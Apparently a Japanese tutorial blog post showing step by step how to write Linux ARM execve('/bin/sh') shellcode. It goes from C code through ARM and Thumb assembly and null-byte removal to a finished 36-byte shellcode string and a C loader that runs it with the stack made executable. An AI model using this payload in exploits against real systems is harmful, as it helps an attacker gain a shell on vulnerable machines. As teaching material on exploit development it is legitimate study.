Linux ARM用のシェルコードを書いてみる

「Linux x86用のシェルコードを書いてみる」と同様に、Linux ARM(armel)用のシェルコードを書いてみる。

環境

Ubuntu 14.04.2 LTS ARM版(ユーザモードQEMU利用)

# uname -a
Linux c7b94bb2fc1e 2.6.32 #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 armv7l armv7l armv7l GNU/Linux

# lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.2 LTS
Release:        14.04
Codename:       trusty

# gcc --version
gcc (Ubuntu/Linaro 4.8.2-19ubuntu1) 4.8.2

C言語で書いてみる

まずはexecveシステムコールを使ってシェルを起動するC言語コードを書いてみる。

/* execve.c */
#include <unistd.h>

int main()
{
    char *argv[] = {"/bin/sh", NULL};
    execve(argv[0], argv, NULL);
}

スタティックリンクにてコンパイルし、実行してみる。

# gcc -static execve.c

# ./a.out
# id
uid=0(root) gid=0(root) groups=0(root)
#

意図した通り、シェルが起動できていることがわかる。

ディスアセンブルしてみる

システムコール実行の流れを調べるため、実行ファイルをディスアセンブルしてみる。

# objdump -d a.out | less

execveシステムコール実行までの流れを抜き出すと次のようになる。

000089c8 <main>:
    89c8:       b580            push    {r7, lr}
    89ca:       b082            sub     sp, #8
    89cc:       af00            add     r7, sp, #0
    89ce:       f24d 0394       movw    r3, #53396      ; 0xd094
    89d2:       f2c0 0304       movt    r3, #4
    89d6:       603b            str     r3, [r7, #0]
    89d8:       2300            movs    r3, #0
    89da:       607b            str     r3, [r7, #4]
    89dc:       683a            ldr     r2, [r7, #0]
    89de:       463b            mov     r3, r7
    89e0:       4610            mov     r0, r2
    89e2:       4619            mov     r1, r3
    89e4:       2200            movs    r2, #0
    89e6:       f00f ffe3       bl      189b0 <__execve>

000189b0 <__execve>:
   189b0:       b500            push    {lr}
   189b2:       f04f 0c0b       mov.w   ip, #11
   189b6:       f7f0 fb1b       bl      8ff0 <__libc_do_syscall>

00008ff0 <__libc_do_syscall>:
    8ff0:       b580            push    {r7, lr}
    8ff2:       4667            mov     r7, ip
    8ff4:       df00            svc     0

最終的に、r7 = 11, r0 = "/bin/sh", r1 = {"/bin/sh", NULL}, r2 = NULLがセットされた状態でsvc 0が呼ばれていることがわかる。 ここで、11はexecveのシステムコール番号である。

アセンブリコードを書いてみる

上の結果をもとに、アセンブリコードを書くと次のようになる。

    # execve.s
    .globl _start
_start:
    adr r7, binsh
    ldm r7!, {r0, r1}
    mov r2, #0
    push {r0, r1, r2}
    mov r0, sp
    push {r0, r2}
    mov r1, sp
    mov r7, #11
    svc 0
binsh:
    .ascii "/bin//sh"

上のコードでは、"/bin//sh"の8バイトをldm命令を使ってr0、r1レジスタに読み込んでいる。 その後、スタックに値をpushしつつ、必要なアドレスをスタックレジスタからr0、r1レジスタにセットしている。

上のコードをアセンブルして実行すると次のようになる。

# gcc -nostdlib execve.s

# ./a.out
# id
uid=0(root) gid=0(root) groups=0(root)
#

C言語で書いた場合と同様、シェルが起動できていることがわかる。 この実行ファイルをディスアセンブルすると、次のようになる。

# objdump -d a.out

a.out:     file format elf32-littlearm


Disassembly of section .text:

00008098 <_start>:
    8098:       e28f701c        add     r7, pc, #28
    809c:       e8b70003        ldm     r7!, {r0, r1}
    80a0:       e3a02000        mov     r2, #0
    80a4:       e92d0007        push    {r0, r1, r2}
    80a8:       e1a0000d        mov     r0, sp
    80ac:       e92d0005        push    {r0, r2}
    80b0:       e1a0100d        mov     r1, sp
    80b4:       e3a0700b        mov     r7, #11
    80b8:       ef000000        svc     0x00000000

000080bc <binsh>:
    80bc:       6e69622f        .word   0x6e69622f
    80c0:       68732f2f        .word   0x68732f2f

Thumb命令の利用による短縮

NULL文字除去を行う前に、Thumb命令を使ってシェルコードの短縮を試みる。

最初に、ARMステートからThumbステートへの切り替えを行う。 これを行うには、適当なレジスタpc + 1あるいはpc & 1を代入し、bx命令のオペランドに指定すればよい。 pcにはその時点で実行している命令のアドレス+8が入っているため、レジスタにはbx命令の次のアドレスの最下位ビットを1にした値が入る。

上記をもとに、アセンブリコードを修正すると次のようになる。

    # execve2.s
    .globl _start
_start:
    add r7, pc, #1
    bx r7
    .thumb
    adr r7, binsh
    ldm r7!, {r0, r1}
    mov r2, #0
    push {r0, r1, r2}
    mov r0, sp
    push {r0, r2}
    mov r1, sp
    mov r7, #11
    svc 0
    .balign 4
binsh:
    .ascii "/bin//sh"

ここで、.balign 4は4バイト境界になるまで適当なバイトを埋める(アラインメントを行う)GNUアセンブラディレクティブである。 adr r7, binshでアドレスを計算する際、adr命令とbinshラベルのアドレスの間のオフセットは4の倍数である必要がある。 しかしThumb命令は基本2バイト固定長であるため、ここでは明示的にアラインメントを指定している。

修正したコードをアセンブルして実行すると次のようになる。

# gcc -nostdlib execve2.s

# ./a.out
# id
uid=0(root) gid=0(root) groups=0(root)
#

修正前と変わらず、シェルが起動できていることが確認できる。 この実行ファイルをディスアセンブルすると次のようになる。

# objdump -d a.out

a.out:     file format elf32-littlearm


Disassembly of section .text:

00008098 <_start>:
    8098:       e28f7001        add     r7, pc, #1
    809c:       e12fff17        bx      r7
    80a0:       a704            add     r7, pc, #16     ; (adr r7, 80b4 <binsh>)
    80a2:       cf03            ldmia   r7!, {r0, r1}
    80a4:       2200            movs    r2, #0
    80a6:       b407            push    {r0, r1, r2}
    80a8:       4668            mov     r0, sp
    80aa:       b405            push    {r0, r2}
    80ac:       4669            mov     r1, sp
    80ae:       270b            movs    r7, #11
    80b0:       df00            svc     0
    80b2:       bf00            nop

000080b4 <binsh>:
    80b4:       6e69622f        .word   0x6e69622f
    80b8:       68732f2f        .word   0x68732f2f

bx命令の次から、2バイト固定長のThumb命令となっていることがわかる。

NULLバイト除去

残っているNULLバイト(\x00)を除去するために、次のように修正する。

  • mov r2, #0eor r2, r2
  • svc 0svc 1
  • .balign 4.balign 4, 1
    # execve3.s
    .globl _start
_start:
    add r7, pc, #1
    bx r7
    .thumb
    adr r7, binsh
    ldm r7!, {r0, r1}
    eor r2, r2
    push {r0, r1, r2}
    mov r0, sp
    push {r0, r2}
    mov r1, sp
    mov r7, #11
    svc 1
    .balign 4, 1
binsh:
    .ascii "/bin//sh"

アセンブルして実行してみる。

# gcc -nostdlib execve3.s

# ./a.out
# id
uid=0(root) gid=0(root) groups=0(root)
#

実行ファイルをディスアセンブルしてみる。

# objdump -d a.out

a.out:     file format elf32-littlearm


Disassembly of section .text:

00008098 <_start>:
    8098:       e28f7001        add     r7, pc, #1
    809c:       e12fff17        bx      r7
    80a0:       a704            add     r7, pc, #16     ; (adr r7, 80b4 <binsh>)
    80a2:       cf03            ldmia   r7!, {r0, r1}
    80a4:       4052            eors    r2, r2
    80a6:       b407            push    {r0, r1, r2}
    80a8:       4668            mov     r0, sp
    80aa:       b405            push    {r0, r2}
    80ac:       4669            mov     r1, sp
    80ae:       270b            movs    r7, #11
    80b0:       df01            svc     1
    80b2:       0101            lsls    r1, r0, #4

000080b4 <binsh>:
    80b4:       6e69622f        .word   0x6e69622f
    80b8:       68732f2f        .word   0x68732f2f

NULLバイトが除去できていることが確認できる。

シェルコードとして実行してみる

上の実行ファイルに対しobjdumpコマンドでバイト列をダンプし、C形式の文字列に変換してみる。

# objdump -s a.out

a.out:     file format elf32-littlearm

Contents of section .note.gnu.build-id:
 8074 04000000 14000000 03000000 474e5500  ............GNU.
 8084 47b8380d aa1cf406 54a4c840 74b5b420  G.8.....T..@t..
 8094 e0b2a38e                             ....
Contents of section .text:
 8098 01708fe2 17ff2fe1 04a703cf 524007b4  .p..../.....R@..
 80a8 684605b4 69460b27 01df0101 2f62696e  hF..iF.'..../bin
 80b8 2f2f7368                             //sh
Contents of section .ARM.attributes:
 0000 411e0000 00616561 62690001 14000000  A....aeabi......
 0010 05372d41 00060a07 41080109 020a04    .7-A....A......

# perl -ple 's/(\w{2})\s?/\\x\1/g' <<<"01708fe2 17ff2fe1 04a703cf 524007b4 684605b4 69460b27 01df0101 2f62696e 2f2f7368"
\x01\x70\x8f\xe2\x17\xff\x2f\xe1\x04\xa7\x03\xcf\x52\x40\x07\xb4\x68\x46\x05\xb4\x69\x46\x0b\x27\x01\xdf\x01\x01\x2f\x62\x69\x6e\x2f\x2f\x73\x68

C言語で、この文字列(シェルコード)を明示的に実行させるプログラムコードを書くと次のようになる。

/* loader.c */
#include <stdio.h>

char shellcode[] = "\x01\x70\x8f\xe2\x17\xff\x2f\xe1\x04\xa7\x03\xcf\x52\x40\x07\xb4\x68\x46\x05\xb4\x69\x46\x0b\x27\x01\xdf\x01\x01\x2f\x62\x69\x6e\x2f\x2f\x73\x68";

int main()
{
    printf("[+] sizeof(shellcode) = %d\n", sizeof(shellcode));
    (*(void (*)())shellcode)();
}

シェルコードが実行できるようDEPを無効にした上でコンパイルし、実行してみる。

# gcc -zexecstack loader.c

# ./a.out
[+] sizeof(shellcode) = 37
# id
uid=0(root) gid=0(root) groups=0(root)
#

上の結果から、問題なくシェルが起動できていることが確認できた。 C言語の文字列として末尾に付与されているNULLバイトを除くと、このシェルコードの長さは36バイトである。

関連リンク